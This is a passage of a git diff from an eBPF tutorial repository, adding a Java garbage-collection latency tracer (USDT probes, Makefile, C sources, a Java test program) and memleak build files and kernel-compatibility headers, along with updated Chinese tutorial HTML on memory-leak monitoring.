warn("failed to fetch necessary BTF for CO-RE: %s\n", strerror(-err)); - return 1; - } - obj = tcpstates_bpf__open_opts(&open_opts); if (!obj) { warn("failed to open BPF object\n"); @@ -540,7 +283,6 @@ int main(int argc, char** argv) { cleanup: perf_buffer__free(pb); tcpstates_bpf__destroy(obj); - cleanup_core_btf(&open_opts); return err != 0; } diff --git a/15-javagc/.gitignore b/15-javagc/.gitignore new file mode 100644 index 0000000..f3a652f --- /dev/null +++ b/15-javagc/.gitignore @@ -0,0 +1,9 @@ +.vscode +package.json +*.o +*.skel.json +*.skel.yaml +package.yaml +ecli +javagc +*.class diff --git a/15-javagc/Makefile b/15-javagc/Makefile new file mode 100644 index 0000000..1407744 --- /dev/null +++ b/15-javagc/Makefile @@ -0,0 +1,141 @@ +# SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) +OUTPUT := .output +CLANG ?= clang +LIBBPF_SRC := $(abspath ../../libbpf/src) +BPFTOOL_SRC := $(abspath ../../bpftool/src) +LIBBPF_OBJ := $(abspath $(OUTPUT)/libbpf.a) +BPFTOOL_OUTPUT ?= $(abspath $(OUTPUT)/bpftool) +BPFTOOL ?= $(BPFTOOL_OUTPUT)/bootstrap/bpftool +LIBBLAZESYM_SRC := $(abspath ../../blazesym/) +LIBBLAZESYM_OBJ := $(abspath $(OUTPUT)/libblazesym.a) +LIBBLAZESYM_HEADER := $(abspath $(OUTPUT)/blazesym.h) +ARCH ?= $(shell uname -m | sed 's/x86_64/x86/' \ + | sed 's/arm.*/arm/' \ + | sed 's/aarch64/arm64/' \ + | sed 's/ppc64le/powerpc/' \ + | sed 's/mips.*/mips/' \ + | sed 's/riscv64/riscv/' \ + | sed 's/loongarch64/loongarch/') +VMLINUX := ../../vmlinux/$(ARCH)/vmlinux.h +# Use our own libbpf API headers and Linux UAPI headers distributed with +# libbpf to avoid dependency on system-wide headers, which could be missing or +# outdated +INCLUDES := -I$(OUTPUT) -I../../libbpf/include/uapi -I$(dir $(VMLINUX)) +CFLAGS := -g -Wall +ALL_LDFLAGS := $(LDFLAGS) $(EXTRA_LDFLAGS) + +APPS = javagc # minimal minimal_legacy uprobe kprobe fentry usdt sockfilter tc ksyscall + +CARGO ?= $(shell which cargo) +ifeq ($(strip $(CARGO)),) +BZS_APPS := +else +BZS_APPS := # profile +APPS += $(BZS_APPS) +# Required by libblazesym +ALL_LDFLAGS += -lrt -ldl -lpthread -lm +endif + +# Get Clang's default includes on this system. We'll explicitly add these dirs +# to the includes list when compiling with `-target bpf` because otherwise some +# architecture-specific dirs will be "missing" on some architectures/distros - +# headers such as asm/types.h, asm/byteorder.h, asm/socket.h, asm/sockios.h, +# sys/cdefs.h etc. might be missing. +# +# Use '-idirafter': Don't interfere with include mechanics except where the +# build would have failed anyways. +CLANG_BPF_SYS_INCLUDES ?= $(shell $(CLANG) -v -E - &1 \ + | sed -n '/<...> search starts here:/,/End of search list./{ s| \(/.*\)|-idirafter \1|p }') + +ifeq ($(V),1) + Q = + msg = +else + Q = @ + msg = @printf ' %-8s %s%s\n' \ + "$(1)" \ + "$(patsubst $(abspath $(OUTPUT))/%,%,$(2))" \ + "$(if $(3), $(3))"; + MAKEFLAGS += --no-print-directory +endif + +define allow-override + $(if $(or $(findstring environment,$(origin $(1))),\ + $(findstring command line,$(origin $(1)))),,\ + $(eval $(1) = $(2))) +endef + +$(call allow-override,CC,$(CROSS_COMPILE)cc) +$(call allow-override,LD,$(CROSS_COMPILE)ld) + +.PHONY: all +all: $(APPS) + +.PHONY: clean +clean: + $(call msg,CLEAN) + $(Q)rm -rf $(OUTPUT) $(APPS) + +$(OUTPUT) $(OUTPUT)/libbpf $(BPFTOOL_OUTPUT): + $(call msg,MKDIR,$@) + $(Q)mkdir -p $@ + +# Build libbpf +$(LIBBPF_OBJ): $(wildcard $(LIBBPF_SRC)/*.[ch] $(LIBBPF_SRC)/Makefile) | $(OUTPUT)/libbpf + $(call msg,LIB,$@) + $(Q)$(MAKE) -C $(LIBBPF_SRC) BUILD_STATIC_ONLY=1 \ + OBJDIR=$(dir $@)/libbpf DESTDIR=$(dir $@) \ + INCLUDEDIR= LIBDIR= UAPIDIR= \ + install + +# Build bpftool +$(BPFTOOL): | $(BPFTOOL_OUTPUT) + $(call msg,BPFTOOL,$@) + $(Q)$(MAKE) ARCH= CROSS_COMPILE= OUTPUT=$(BPFTOOL_OUTPUT)/ -C $(BPFTOOL_SRC) bootstrap + + +$(LIBBLAZESYM_SRC)/target/release/libblazesym.a:: + $(Q)cd $(LIBBLAZESYM_SRC) && $(CARGO) build --features=cheader,dont-generate-test-files --release + +$(LIBBLAZESYM_OBJ): $(LIBBLAZESYM_SRC)/target/release/libblazesym.a | $(OUTPUT) + $(call msg,LIB, $@) + $(Q)cp $(LIBBLAZESYM_SRC)/target/release/libblazesym.a $@ + +$(LIBBLAZESYM_HEADER): $(LIBBLAZESYM_SRC)/target/release/libblazesym.a | $(OUTPUT) + $(call msg,LIB,$@) + $(Q)cp $(LIBBLAZESYM_SRC)/target/release/blazesym.h $@ + +# Build BPF code +$(OUTPUT)/%.bpf.o: %.bpf.c $(LIBBPF_OBJ) $(wildcard %.h) $(VMLINUX) | $(OUTPUT) $(BPFTOOL) + $(call msg,BPF,$@) + $(Q)$(CLANG) -g -O2 -target bpf -D__TARGET_ARCH_$(ARCH) \ + $(INCLUDES) $(CLANG_BPF_SYS_INCLUDES) \ + -c $(filter %.c,$^) -o $(patsubst %.bpf.o,%.tmp.bpf.o,$@) + $(Q)$(BPFTOOL) gen object $@ $(patsubst %.bpf.o,%.tmp.bpf.o,$@) + +# Generate BPF skeletons +$(OUTPUT)/%.skel.h: $(OUTPUT)/%.bpf.o | $(OUTPUT) $(BPFTOOL) + $(call msg,GEN-SKEL,$@) + $(Q)$(BPFTOOL) gen skeleton $< > $@ + +# Build user-space code +$(patsubst %,$(OUTPUT)/%.o,$(APPS)): %.o: %.skel.h + +$(OUTPUT)/%.o: %.c $(wildcard %.h) | $(OUTPUT) + $(call msg,CC,$@) + $(Q)$(CC) $(CFLAGS) $(INCLUDES) -c $(filter %.c,$^) -o $@ + +$(patsubst %,$(OUTPUT)/%.o,$(BZS_APPS)): $(LIBBLAZESYM_HEADER) + +$(BZS_APPS): $(LIBBLAZESYM_OBJ) + +# Build application binary +$(APPS): %: $(OUTPUT)/%.o $(LIBBPF_OBJ) | $(OUTPUT) + $(call msg,BINARY,$@) + $(Q)$(CC) $(CFLAGS) $^ $(ALL_LDFLAGS) -lelf -lz -o $@ + +# delete failed targets +.DELETE_ON_ERROR: + +# keep intermediate (.skel.h, .bpf.o, etc) targets +.SECONDARY: diff --git a/15-javagc/javagc.bpf.c b/15-javagc/javagc.bpf.c new file mode 100644 index 0000000..35535d9 --- /dev/null +++ b/15-javagc/javagc.bpf.c @@ -0,0 +1,81 @@ +/* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */ +/* Copyright (c) 2022 Chen Tao */ +#include +#include +#include +#include +#include "javagc.h" + +struct { + __uint(type, BPF_MAP_TYPE_HASH); + __uint(max_entries, 100); + __type(key, uint32_t); + __type(value, struct data_t); +} data_map SEC(".maps"); + +struct { + __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY); + __type(key, int); + __type(value, int); +} perf_map SEC(".maps"); + +__u32 time; + +static int gc_start(struct pt_regs *ctx) +{ + struct data_t data = {}; + + data.cpu = bpf_get_smp_processor_id(); + data.pid = bpf_get_current_pid_tgid() >> 32; + data.ts = bpf_ktime_get_ns(); + bpf_map_update_elem(&data_map, &data.pid, &data, 0); + return 0; +} + +static int gc_end(struct pt_regs *ctx) +{ + struct data_t data = {}; + struct data_t *p; + __u32 val; + + data.cpu = bpf_get_smp_processor_id(); + data.pid = bpf_get_current_pid_tgid() >> 32; + data.ts = bpf_ktime_get_ns(); + p = bpf_map_lookup_elem(&data_map, &data.pid); + if (!p) + return 0; + + val = data.ts - p->ts; + if (val > time) { + data.ts = val; + bpf_perf_event_output(ctx, &perf_map, BPF_F_CURRENT_CPU, &data, sizeof(data)); + } + bpf_map_delete_elem(&data_map, &data.pid); + return 0; +} + +SEC("usdt") +int handle_gc_start(struct pt_regs *ctx) +{ + return gc_start(ctx); +} + +SEC("usdt") +int handle_gc_end(struct pt_regs *ctx) +{ + return gc_end(ctx); +} + +SEC("usdt") +int handle_mem_pool_gc_start(struct pt_regs *ctx) +{ + return gc_start(ctx); +} + +SEC("usdt") +int handle_mem_pool_gc_end(struct pt_regs *ctx) +{ + return gc_end(ctx); +} + +char LICENSE[] SEC("license") = "Dual BSD/GPL"; diff --git a/15-javagc/javagc.c b/15-javagc/javagc.c new file mode 100644 index 0000000..883ae70 --- /dev/null +++ b/15-javagc/javagc.c @@ -0,0 +1,243 @@ +/* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */ +/* + * Copyright (c) 2022 Chen Tao + * Based on ugc from BCC by Sasha Goldshtein + * Create: Wed Jun 29 16:00:19 2022 + */ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "javagc.skel.h" +#include "javagc.h" + +#define BINARY_PATH_SIZE (256) +#define PERF_BUFFER_PAGES (32) +#define PERF_POLL_TIMEOUT_MS (200) + +static struct env { + pid_t pid; + int time; + bool exiting; + bool verbose; +} env = { + .pid = -1, + .time = 1000, + .exiting = false, + .verbose = false, +}; + +const char *argp_program_version = "javagc 0.1"; +const char *argp_program_bug_address = + "https://github.com/iovisor/bcc/tree/master/libbpf-tools"; + +const char argp_program_doc[] = +"Monitor javagc time cost.\n" +"\n" +"USAGE: javagc [--help] [-p PID] [-t GC time]\n" +"\n" +"EXAMPLES:\n" +"javagc -p 185 # trace PID 185 only\n" +"javagc -p 185 -t 100 # trace PID 185 java gc time beyond 100us\n"; + +static const struct argp_option opts[] = { + { "pid", 'p', "PID", 0, "Trace this PID only" }, + { "time", 't', "TIME", 0, "Java gc time" }, + { "verbose", 'v', NULL, 0, "Verbose debug output" }, + { NULL, 'h', NULL, OPTION_HIDDEN, "Show the full help" }, + {}, +}; + +static error_t parse_arg(int key, char *arg, struct argp_state *state) +{ + int err = 0; + + switch (key) { + case 'h': + argp_state_help(state, stderr, ARGP_HELP_STD_HELP); + break; + case 'v': + env.verbose = true; + break; + case 'p': + errno = 0; + env.pid = strtol(arg, NULL, 10); + if (errno) { + err = errno; + fprintf(stderr, "invalid PID: %s\n", arg); + argp_usage(state); + } + break; + case 't': + errno = 0; + env.time = strtol(arg, NULL, 10); + if (errno) { + err = errno; + fprintf(stderr, "invalid time: %s\n", arg); + argp_usage(state); + } + break; + default: + return ARGP_ERR_UNKNOWN; + } + return err; +} + +static int libbpf_print_fn(enum libbpf_print_level level, const char *format, va_list args) +{ + if (level == LIBBPF_DEBUG && ! env.verbose) + return 0; + + return vfprintf(stderr, format, args); +} + +static void handle_event(void *ctx, int cpu, void *data, __u32 data_sz) +{ + struct data_t *e = (struct data_t *)data; + struct tm *tm = NULL; + char ts[16]; + time_t t; + + time(&t); + tm = localtime(&t); + strftime(ts, sizeof(ts), "%H:%M:%S", tm); + printf("%-8s %-7d %-7d %-7lld\n", ts, e->cpu, e->pid, e->ts/1000); +} + +static void handle_lost_events(void *ctx, int cpu, __u64 data_sz) +{ + printf("lost data\n"); +} + +static void sig_handler(int sig) +{ + env.exiting = true; +} + +static int get_jvmso_path(char *path) +{ + char mode[16], line[128], buf[64]; + size_t seg_start, seg_end, seg_off; + FILE *f; + int i = 0; + + sprintf(buf, "/proc/%d/maps", env.pid); + f = fopen(buf, "r"); + if (!f) + return -1; + + while (fscanf(f, "%zx-%zx %s %zx %*s %*d%[^\n]\n", + &seg_start, &seg_end, mode, &seg_off, line) == 5) { + i = 0; + while (isblank(line[i])) + i++; + if (strstr(line + i, "libjvm.so")) { + break; + } + } + + strcpy(path, line + i); + fclose(f); + + return 0; +} + +int main(int argc, char **argv) +{ + static const struct argp argp = { + .options = opts, + .parser = parse_arg, + .doc = argp_program_doc, + }; + char binary_path[BINARY_PATH_SIZE] = {0}; + struct javagc_bpf *skel = NULL; + int err; + struct perf_buffer *pb = NULL; + + err = argp_parse(&argp, argc, argv, 0, NULL, NULL); + if (err) + return err; + + /* + * libbpf will auto load the so if it in /usr/lib64 /usr/lib etc, + * but the jvmso not there. + */ + err = get_jvmso_path(binary_path); + if (err) + return err; + + libbpf_set_print(libbpf_print_fn); + + skel = javagc_bpf__open(); + if (!skel) { + fprintf(stderr, "Failed to open BPF skeleton\n"); + return 1; + } + skel->bss->time = env.time * 1000; + + err = javagc_bpf__load(skel); + if (err) { + fprintf(stderr, "Failed to load and verify BPF skeleton\n"); + goto cleanup; + } + + skel->links.handle_mem_pool_gc_start = bpf_program__attach_usdt(skel->progs.handle_gc_start, env.pid, + binary_path, "hotspot", "mem__pool__gc__begin", NULL); + if (!skel->links.handle_mem_pool_gc_start) { + err = errno; + fprintf(stderr, "attach usdt mem__pool__gc__begin failed: %s\n", strerror(err)); + goto cleanup; + } + + skel->links.handle_mem_pool_gc_end = bpf_program__attach_usdt(skel->progs.handle_gc_end, env.pid, + binary_path, "hotspot", "mem__pool__gc__end", NULL); + if (!skel->links.handle_mem_pool_gc_end) { + err = errno; + fprintf(stderr, "attach usdt mem__pool__gc__end failed: %s\n", strerror(err)); + goto cleanup; + } + + skel->links.handle_gc_start = bpf_program__attach_usdt(skel->progs.handle_gc_start, env.pid, + binary_path, "hotspot", "gc__begin", NULL); + if (!skel->links.handle_gc_start) { + err = errno; + fprintf(stderr, "attach usdt gc__begin failed: %s\n", strerror(err)); + goto cleanup; + } + + skel->links.handle_gc_end = bpf_program__attach_usdt(skel->progs.handle_gc_end, env.pid, + binary_path, "hotspot", "gc__end", NULL); + if (!skel->links.handle_gc_end) { + err = errno; + fprintf(stderr, "attach usdt gc__end failed: %s\n", strerror(err)); + goto cleanup; + } + + signal(SIGINT, sig_handler); + printf("Tracing javagc time... Hit Ctrl-C to end.\n"); + printf("%-8s %-7s %-7s %-7s\n", + "TIME", "CPU", "PID", "GC TIME"); + + pb = perf_buffer__new(bpf_map__fd(skel->maps.perf_map), PERF_BUFFER_PAGES, + handle_event, handle_lost_events, NULL, NULL); + while (!env.exiting) { + err = perf_buffer__poll(pb, PERF_POLL_TIMEOUT_MS); + if (err < 0 && err != -EINTR) { + fprintf(stderr, "error polling perf buffer: %s\n", strerror(-err)); + goto cleanup; + } + /* reset err to return 0 if exiting */ + err = 0; + } + +cleanup: + perf_buffer__free(pb); + javagc_bpf__destroy(skel); + + return err != 0; +} diff --git a/15-javagc/javagc.h b/15-javagc/javagc.h new file mode 100644 index 0000000..878f7db --- /dev/null +++ b/15-javagc/javagc.h @@ -0,0 +1,12 @@ +/* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */ +/* Copyright (c) 2022 Chen Tao */ +#ifndef __JAVAGC_H +#define __JAVAGC_H + +struct data_t { + __u32 cpu; + __u32 pid; + __u64 ts; +}; + +#endif /* __JAVAGC_H */ diff --git a/15-javagc/tests/HelloWorld.java b/15-javagc/tests/HelloWorld.java new file mode 100644 index 0000000..bb57053 --- /dev/null +++ b/15-javagc/tests/HelloWorld.java @@ -0,0 +1,15 @@ +public class HelloWorld { + public static void main(String[] args) { + // loop and sleep for 1 second + while (true) { + System.out.println("Hello World!"); + // create an object and let it go out of scope + Object obj = new Object(); + try { + Thread.sleep(1000); + } catch (InterruptedException e) { + e.printStackTrace(); + } + } + } +} diff --git a/15-javagc/tests/Makefile b/15-javagc/tests/Makefile new file mode 100644 index 0000000..8dd6e4f --- /dev/null +++ b/15-javagc/tests/Makefile @@ -0,0 +1,3 @@ +test: + javac HelloWorld.java + java HelloWorld \ No newline at end of file diff --git a/15-tcprtt/index.html b/15-tcprtt/index.html index 88f8301..d259747 100644 --- a/15-tcprtt/index.html +++ b/15-tcprtt/index.html @@ -83,7 +83,7 @@ diff --git a/16-memleak/.gitignore b/16-memleak/.gitignore new file mode 100644 index 0000000..3bbbd45 --- /dev/null +++ b/16-memleak/.gitignore @@ -0,0 +1,8 @@ +.vscode +package.json +*.o +*.skel.json +*.skel.yaml +package.yaml +ecli +memleak diff --git a/16-memleak/Makefile b/16-memleak/Makefile new file mode 100644 index 0000000..84ead7e --- /dev/null +++ b/16-memleak/Makefile @@ -0,0 +1,141 @@ +# SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) +OUTPUT := .output +CLANG ?= clang +LIBBPF_SRC := $(abspath ../../libbpf/src) +BPFTOOL_SRC := $(abspath ../../bpftool/src) +LIBBPF_OBJ := $(abspath $(OUTPUT)/libbpf.a) +BPFTOOL_OUTPUT ?= $(abspath $(OUTPUT)/bpftool) +BPFTOOL ?= $(BPFTOOL_OUTPUT)/bootstrap/bpftool +LIBBLAZESYM_SRC := $(abspath ../../blazesym/) +LIBBLAZESYM_OBJ := $(abspath $(OUTPUT)/libblazesym.a) +LIBBLAZESYM_HEADER := $(abspath $(OUTPUT)/blazesym.h) +ARCH ?= $(shell uname -m | sed 's/x86_64/x86/' \ + | sed 's/arm.*/arm/' \ + | sed 's/aarch64/arm64/' \ + | sed 's/ppc64le/powerpc/' \ + | sed 's/mips.*/mips/' \ + | sed 's/riscv64/riscv/' \ + | sed 's/loongarch64/loongarch/') +VMLINUX := ../../vmlinux/$(ARCH)/vmlinux.h +# Use our own libbpf API headers and Linux UAPI headers distributed with +# libbpf to avoid dependency on system-wide headers, which could be missing or +# outdated +INCLUDES := -I$(OUTPUT) -I../../libbpf/include/uapi -I$(dir $(VMLINUX)) +CFLAGS := -g -Wall +ALL_LDFLAGS := $(LDFLAGS) $(EXTRA_LDFLAGS) + +APPS = memleak # minimal minimal_legacy uprobe kprobe fentry usdt sockfilter tc ksyscall + +CARGO ?= $(shell which cargo) +ifeq ($(strip $(CARGO)),) +BZS_APPS := +else +BZS_APPS := # profile +APPS += $(BZS_APPS) +# Required by libblazesym +ALL_LDFLAGS += -lrt -ldl -lpthread -lm +endif + +# Get Clang's default includes on this system. We'll explicitly add these dirs +# to the includes list when compiling with `-target bpf` because otherwise some +# architecture-specific dirs will be "missing" on some architectures/distros - +# headers such as asm/types.h, asm/byteorder.h, asm/socket.h, asm/sockios.h, +# sys/cdefs.h etc. might be missing. +# +# Use '-idirafter': Don't interfere with include mechanics except where the +# build would have failed anyways. +CLANG_BPF_SYS_INCLUDES ?= $(shell $(CLANG) -v -E - &1 \ + | sed -n '/<...> search starts here:/,/End of search list./{ s| \(/.*\)|-idirafter \1|p }') + +ifeq ($(V),1) + Q = + msg = +else + Q = @ + msg = @printf ' %-8s %s%s\n' \ + "$(1)" \ + "$(patsubst $(abspath $(OUTPUT))/%,%,$(2))" \ + "$(if $(3), $(3))"; + MAKEFLAGS += --no-print-directory +endif + +define allow-override + $(if $(or $(findstring environment,$(origin $(1))),\ + $(findstring command line,$(origin $(1)))),,\ + $(eval $(1) = $(2))) +endef + +$(call allow-override,CC,$(CROSS_COMPILE)cc) +$(call allow-override,LD,$(CROSS_COMPILE)ld) + +.PHONY: all +all: $(APPS) + +.PHONY: clean +clean: + $(call msg,CLEAN) + $(Q)rm -rf $(OUTPUT) $(APPS) + +$(OUTPUT) $(OUTPUT)/libbpf $(BPFTOOL_OUTPUT): + $(call msg,MKDIR,$@) + $(Q)mkdir -p $@ + +# Build libbpf +$(LIBBPF_OBJ): $(wildcard $(LIBBPF_SRC)/*.[ch] $(LIBBPF_SRC)/Makefile) | $(OUTPUT)/libbpf + $(call msg,LIB,$@) + $(Q)$(MAKE) -C $(LIBBPF_SRC) BUILD_STATIC_ONLY=1 \ + OBJDIR=$(dir $@)/libbpf DESTDIR=$(dir $@) \ + INCLUDEDIR= LIBDIR= UAPIDIR= \ + install + +# Build bpftool +$(BPFTOOL): | $(BPFTOOL_OUTPUT) + $(call msg,BPFTOOL,$@) + $(Q)$(MAKE) ARCH= CROSS_COMPILE= OUTPUT=$(BPFTOOL_OUTPUT)/ -C $(BPFTOOL_SRC) bootstrap + + +$(LIBBLAZESYM_SRC)/target/release/libblazesym.a:: + $(Q)cd $(LIBBLAZESYM_SRC) && $(CARGO) build --features=cheader,dont-generate-test-files --release + +$(LIBBLAZESYM_OBJ): $(LIBBLAZESYM_SRC)/target/release/libblazesym.a | $(OUTPUT) + $(call msg,LIB, $@) + $(Q)cp $(LIBBLAZESYM_SRC)/target/release/libblazesym.a $@ + +$(LIBBLAZESYM_HEADER): $(LIBBLAZESYM_SRC)/target/release/libblazesym.a | $(OUTPUT) + $(call msg,LIB,$@) + $(Q)cp $(LIBBLAZESYM_SRC)/target/release/blazesym.h $@ + +# Build BPF code +$(OUTPUT)/%.bpf.o: %.bpf.c $(LIBBPF_OBJ) $(wildcard %.h) $(VMLINUX) | $(OUTPUT) $(BPFTOOL) + $(call msg,BPF,$@) + $(Q)$(CLANG) -g -O2 -target bpf -D__TARGET_ARCH_$(ARCH) \ + $(INCLUDES) $(CLANG_BPF_SYS_INCLUDES) \ + -c $(filter %.c,$^) -o $(patsubst %.bpf.o,%.tmp.bpf.o,$@) + $(Q)$(BPFTOOL) gen object $@ $(patsubst %.bpf.o,%.tmp.bpf.o,$@) + +# Generate BPF skeletons +$(OUTPUT)/%.skel.h: $(OUTPUT)/%.bpf.o | $(OUTPUT) $(BPFTOOL) + $(call msg,GEN-SKEL,$@) + $(Q)$(BPFTOOL) gen skeleton $< > $@ + +# Build user-space code +$(patsubst %,$(OUTPUT)/%.o,$(APPS)): %.o: %.skel.h + +$(OUTPUT)/%.o: %.c $(wildcard %.h) | $(OUTPUT) + $(call msg,CC,$@) + $(Q)$(CC) $(CFLAGS) $(INCLUDES) -c $(filter %.c,$^) -o $@ + +$(patsubst %,$(OUTPUT)/%.o,$(BZS_APPS)): $(LIBBLAZESYM_HEADER) + +$(BZS_APPS): $(LIBBLAZESYM_OBJ) + +# Build application binary +$(APPS): %: $(OUTPUT)/%.o $(LIBBPF_OBJ) | $(OUTPUT) + $(call msg,BINARY,$@) + $(Q)$(CC) $(CFLAGS) $^ $(ALL_LDFLAGS) -lelf -lz -o $@ + +# delete failed targets +.DELETE_ON_ERROR: + +# keep intermediate (.skel.h, .bpf.o, etc) targets +.SECONDARY: diff --git a/16-memleak/core_fixes.bpf.h b/16-memleak/core_fixes.bpf.h new file mode 100644 index 0000000..552c9fa --- /dev/null +++ b/16-memleak/core_fixes.bpf.h @@ -0,0 +1,169 @@ +/* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */ +/* Copyright (c) 2021 Hengqi Chen */ + +#ifndef __CORE_FIXES_BPF_H +#define __CORE_FIXES_BPF_H + +#include +#include + +/** + * commit 2f064a59a1 ("sched: Change task_struct::state") changes + * the name of task_struct::state to task_struct::__state + * see: + * https://github.com/torvalds/linux/commit/2f064a59a1 + */ +struct task_struct___o { + volatile long int state; +} __attribute__((preserve_access_index)); + +struct task_struct___x { + unsigned int __state; +} __attribute__((preserve_access_index)); + +static __always_inline __s64 get_task_state(void *task) +{ + struct task_struct___x *t = task; + + if (bpf_core_field_exists(t->__state)) + return BPF_CORE_READ(t, __state); + return BPF_CORE_READ((struct task_struct___o *)task, state); +} + +/** + * commit 309dca309fc3 ("block: store a block_device pointer in struct bio") + * adds a new member bi_bdev which is a pointer to struct block_device + * see: + * https://github.com/torvalds/linux/commit/309dca309fc3 + */ +struct bio___o { + struct gendisk *bi_disk; +} __attribute__((preserve_access_index)); + +struct bio___x { + struct block_device *bi_bdev; +} __attribute__((preserve_access_index)); + +static __always_inline struct gendisk *get_gendisk(void *bio) +{ + struct bio___x *b = bio; + + if (bpf_core_field_exists(b->bi_bdev)) + return BPF_CORE_READ(b, bi_bdev, bd_disk); + return BPF_CORE_READ((struct bio___o *)bio, bi_disk); +} + +/** + * commit d5869fdc189f ("block: introduce block_rq_error tracepoint") + * adds a new tracepoint block_rq_error and it shares the same arguments + * with tracepoint block_rq_complete. As a result, the kernel BTF now has + * a `struct trace_event_raw_block_rq_completion` instead of + * `struct trace_event_raw_block_rq_complete`. + * see: + * https://github.com/torvalds/linux/commit/d5869fdc189f + */ +struct trace_event_raw_block_rq_complete___x { + dev_t dev; + sector_t sector; + unsigned int nr_sector; +} __attribute__((preserve_access_index)); + +struct trace_event_raw_block_rq_completion___x { + dev_t dev; + sector_t sector; + unsigned int nr_sector; +} __attribute__((preserve_access_index)); + +static __always_inline bool has_block_rq_completion() +{ + if (bpf_core_type_exists(struct trace_event_raw_block_rq_completion___x)) + return true; + return false; +} + +/** + * commit d152c682f03c ("block: add an explicit ->disk backpointer to the + * request_queue") and commit f3fa33acca9f ("block: remove the ->rq_disk + * field in struct request") make some changes to `struct request` and + * `struct request_queue`. Now, to get the `struct gendisk *` field in a CO-RE + * way, we need both `struct request` and `struct request_queue`. + * see: + * https://github.com/torvalds/linux/commit/d152c682f03c + * https://github.com/torvalds/linux/commit/f3fa33acca9f + */ +struct request_queue___x { + struct gendisk *disk; +} __attribute__((preserve_access_index)); + +struct request___x { + struct request_queue___x *q; + struct gendisk *rq_disk; +} __attribute__((preserve_access_index)); + +static __always_inline struct gendisk *get_disk(void *request) +{ + struct request___x *r = request; + + if (bpf_core_field_exists(r->rq_disk)) + return BPF_CORE_READ(r, rq_disk); + return BPF_CORE_READ(r, q, disk); +} + +/** + * commit 6521f8917082("namei: prepare for idmapped mounts") add `struct + * user_namespace *mnt_userns` as vfs_create() and vfs_unlink() first argument. + * At the same time, struct renamedata {} add `struct user_namespace + * *old_mnt_userns` item. Now, to kprobe vfs_create()/vfs_unlink() in a CO-RE + * way, determine whether there is a `old_mnt_userns` field for `struct + * renamedata` to decide which input parameter of the vfs_create() to use as + * `dentry`. + * see: + * https://github.com/torvalds/linux/commit/6521f8917082 + */ +struct renamedata___x { + struct user_namespace *old_mnt_userns; +} __attribute__((preserve_access_index)); + +static __always_inline bool renamedata_has_old_mnt_userns_field(void) +{ + if (bpf_core_field_exists(struct renamedata___x, old_mnt_userns)) + return true; + return false; +} + +/** + * commit 3544de8ee6e4("mm, tracing: record slab name for kmem_cache_free()") + * replaces `trace_event_raw_kmem_free` with `trace_event_raw_kfree` and adds + * `tracepoint_kmem_cache_free` to enhance the information recorded for + * `kmem_cache_free`. + * see: + * https://github.com/torvalds/linux/commit/3544de8ee6e4 + */ + +struct trace_event_raw_kmem_free___x { + const void *ptr; +} __attribute__((preserve_access_index)); + +struct trace_event_raw_kfree___x { + const void *ptr; +} __attribute__((preserve_access_index)); + +struct trace_event_raw_kmem_cache_free___x { + const void *ptr; +} __attribute__((preserve_access_index)); + +static __always_inline bool has_kfree() +{ + if (bpf_core_type_exists(struct trace_event_raw_kfree___x)) + return true; + return false; +} + +static __always_inline bool has_kmem_cache_free() +{ + if (bpf_core_type_exists(struct trace_event_raw_kmem_cache_free___x)) + return true; + return false; +} + +#endif /* __CORE_FIXES_BPF_H */ diff --git a/16-memleak/index.html b/16-memleak/index.html index 7a7323a..f167551 100644 --- a/16-memleak/index.html +++ b/16-memleak/index.html @@ -83,7 +83,7 @@ @@ -144,212 +144,374 @@
-

eBPF 入门实践教程:编写 eBPF 程序 Memleak 监控内存泄漏

-

背景

-

内存泄漏对于一个程序而言是一个很严重的问题。倘若放任一个存在内存泄漏的程序运行,久而久之 -系统的内存会慢慢被耗尽,导致程序运行速度显著下降。为了避免这一情况,memleak工具被提出。 -它可以跟踪并匹配内存分配和释放的请求,并且打印出已经被分配资源而又尚未释放的堆栈信息。

-

实现原理

-

memleak 的实现逻辑非常直观。它在我们常用的动态分配内存的函数接口路径上挂载了ebpf程序, -同时在free上也挂载了ebpf程序。在调用分配内存相关函数时,memleak 会记录调用者的pid,分配得到 -内存的地址,分配得到的内存大小等基本数据。在free之后,memeleak则会去map中删除记录的对应的分配 -信息。对于用户态常用的分配函数 malloc, calloc 等,memleak使用了 uporbe 技术实现挂载,对于 -内核态的函数,比如 kmalloc 等,memleak 则使用了现有的 tracepoint 来实现。

-

编写 eBPF 程序

-
struct {
-	__uint(type, BPF_MAP_TYPE_HASH);
-	__type(key, pid_t);
-	__type(value, u64);
-	__uint(max_entries, 10240);
-} sizes SEC(".maps");
+                        

eBPF 入门实践教程十六:编写 eBPF 程序 Memleak 监控内存泄漏

+

eBPF(扩展的伯克利数据包过滤器)是一项强大的网络和性能分析工具,被广泛应用在 Linux 内核上。eBPF 使得开发者能够动态地加载、更新和运行用户定义的代码,而无需重启内核或更改内核源代码。

+

在本篇教程中,我们将探讨如何使用 eBPF 编写 Memleak 程序,以监控程序的内存泄漏。

+

背景及其重要性

+

内存泄漏是计算机编程中的一种常见问题,其严重程度不应被低估。内存泄漏发生时,程序会逐渐消耗更多的内存资源,但并未正确释放。随着时间的推移,这种行为会导致系统内存逐渐耗尽,从而显著降低程序及系统的整体性能。

+

内存泄漏有多种可能的原因。这可能是由于配置错误导致的,例如程序错误地配置了某些资源的动态分配。它也可能是由于软件缺陷或错误的内存管理策略导致的,如在程序执行过程中忘记释放不再需要的内存。此外,如果一个应用程序的内存使用量过大,那么系统性能可能会因页面交换(swapping)而大幅下降,甚至可能导致应用程序被系统强制终止(Linux 的 OOM killer)。

+

调试内存泄漏的挑战

+

